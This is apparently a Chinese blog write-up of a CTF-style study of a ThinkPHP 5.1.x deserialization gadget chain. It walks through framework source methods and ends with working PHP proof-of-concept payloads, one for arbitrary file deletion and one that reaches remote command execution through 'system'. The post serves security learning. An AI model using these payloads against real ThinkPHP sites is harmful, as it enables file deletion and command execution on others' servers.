Thinkphp5.1.x反序列化学习

前言

是NU1L那本书配套的一道题,在BUU上有,链接下载下来就是Thinkphp5.1的源码,网上有很多对应的POC以及分析,刚好最近也是在学习代码审计,以前没有复现过这么难的,这次就抱着学习的心态来尝试一下。

相关环境配置

因为之前也没咋审计过代码,所以这次就顺便把环境也一起配好了,方便以后学习。这里我是参考国光师傅的配置

macOS 下优雅地配置 PHP 代码审计环境

我主要是配置了vscode的环境,phpstorm有点麻烦。

分析利用链

首先我们全局搜__destruct方法,找到个在Windows.php里然后发现调用removeFiles方法,跟进去看

private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
//测试删除文件
echo "removed";
}
}
$this->files = [];
}

发现存在一个任意文件删除的漏洞,因为buu的环境本身存在一个反序列化的点,所以我们不用先写一个控制器

POC如下

<?php
namespace think\process\pipes;

class Pipes{
}
class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['/tmp/kk.txt'];
}
}
echo urlencode(serialize(new Windows()));

删除成功

接着继续看RCE的链子,接下来就是要通过file_exists函数去触发__toString,因为当一个对象被反序列化后又被当做字符串使用时会触发这个方法,这里找到的是在Conversion.php里,然后一直跟进,跟到toArray()方法,

public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}

$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

这个方法我们主要是要执行到$relation->visible($name);这句,因为当我们控制$relation为类对象,去调用这个不存在的visible方法,就会触发__call方法,而它一般又会存在__call_user_func__call_user_func_array,PHP代码RCE的点一般也就在这里。

但是要执行到这句,我们首先要满足

!empty($this->append)
is_array($name)
$relation = $this->getRelation($key); 返回空
$relation = $this->getAttr($key); 不返回空

append可控,我们传值不为空就好,主要看后面的

跟进getRelation方法

public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

这里我们是从toArray里传入了$key,为了直接return;,我们保证$key不在relation数组里就好

接着跟进getAttr方法

public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
....省略
return $value;
}

从try/catch中取得$value并且返回,所以我们又要跟进getData

public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这个$name就是之前$key,然后判断是否在他的data数组和relation数组中再返回结果,这里我们的$this->data是可控的,在Attribute中。所以我们最终$relation=$this->data[$key]

$relation为一个对象时,就可以进行调用类中的 visible方法且传参可控,这里还有个知识点就是use关键字去继承类

所以我们找到Model.php同时继承如上两个类,但是他是个抽象类,所以又找到他的子类Pivot

接下来的目标就是找一个代码执行的点,有__call方法,但是不存在visible方法。

Request.php

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

这个hook是可控的,但是那个args经过了array_unshift导致我们这个不可控,但是call_user_func_array(array(任意类,任意方法),$args)我们可以调用任意方法,并且再去找一个方法不受这个参数的影响

了解过ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data) 。但是前面, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

我们找到input方法

public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

其中有一个filterValue

private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

我们可以发现$value = call_user_func($filter, $value);,这里的$value是不可控的,这个是input$data传入的,然后我们找到param,发现它在最后调用input

public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

param可以通过GET方法传入,但是$name是传入的,所以我们继续找,发现isAjax

public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

这里把$this->config['var_ajax']传入param的$name

接着我们回头看call_user_func($filter, $value);filter传入systemvalue传入命令,filterfilters数组里的,value是在input传入的,然后我们在input中调用filterValuearray_walk_recursive($data, [$this, 'filterValue'], $filter);,这里调用filterValue,作用在$data,然后$filter是传入filterValue方法里的第三个参数filters,他是通过getFilter获取

protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

注意看$filter = $filter ?: $this->filter;,可控

input$data = $this->getData($data, $name);

protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

所以$data = $data[$name],它就是get和post的所有参数

最后看我们RCE的地方

private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
....省略
  • value就是通过GET请求得到的input.data值
  • key就是GET的键
  • filter就是input.filter

POC

<?php
namespace think\process\pipes;
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}

namespace think;
abstract class Model{
protected $append=[];
private $data=[];
public function __construct(){
$this->append=["qqw"=>['lnk']];
$this->data=["qqw"=>new Request()];
}
}

namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
public function __construct()
{
$this->hook['visible'] = [$this, 'isAjax'];
$this->filter = "system";
}
}

namespace think\model;
use think\Model;

class Pivot extends Model{

}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

$this->append=["qqw"=>['lnk']];满足append不为空,且键在data数组中

$this->data=["qqw"=>new Request()];返回Request()对象

$this->hook['visible'] = [$this, 'isAjax'];为了在__call方法中调用isAjax

$this->filter = "system";则是要执行的函数

参考

https://ch1e.cn/2022/05/28/tp51/#%E5%89%8D%E8%A8%80

https://zeo.cool/2019/12/18/Thinkphp%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90pop%E5%88%A9%E7%94%A8%E9%93%BE/

Thinkphp5.1.x反序列化学习

https://lhxhl.github.io/2022/09/12/TP51/

作者

秋秋晚

发布于

2022-09-12

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...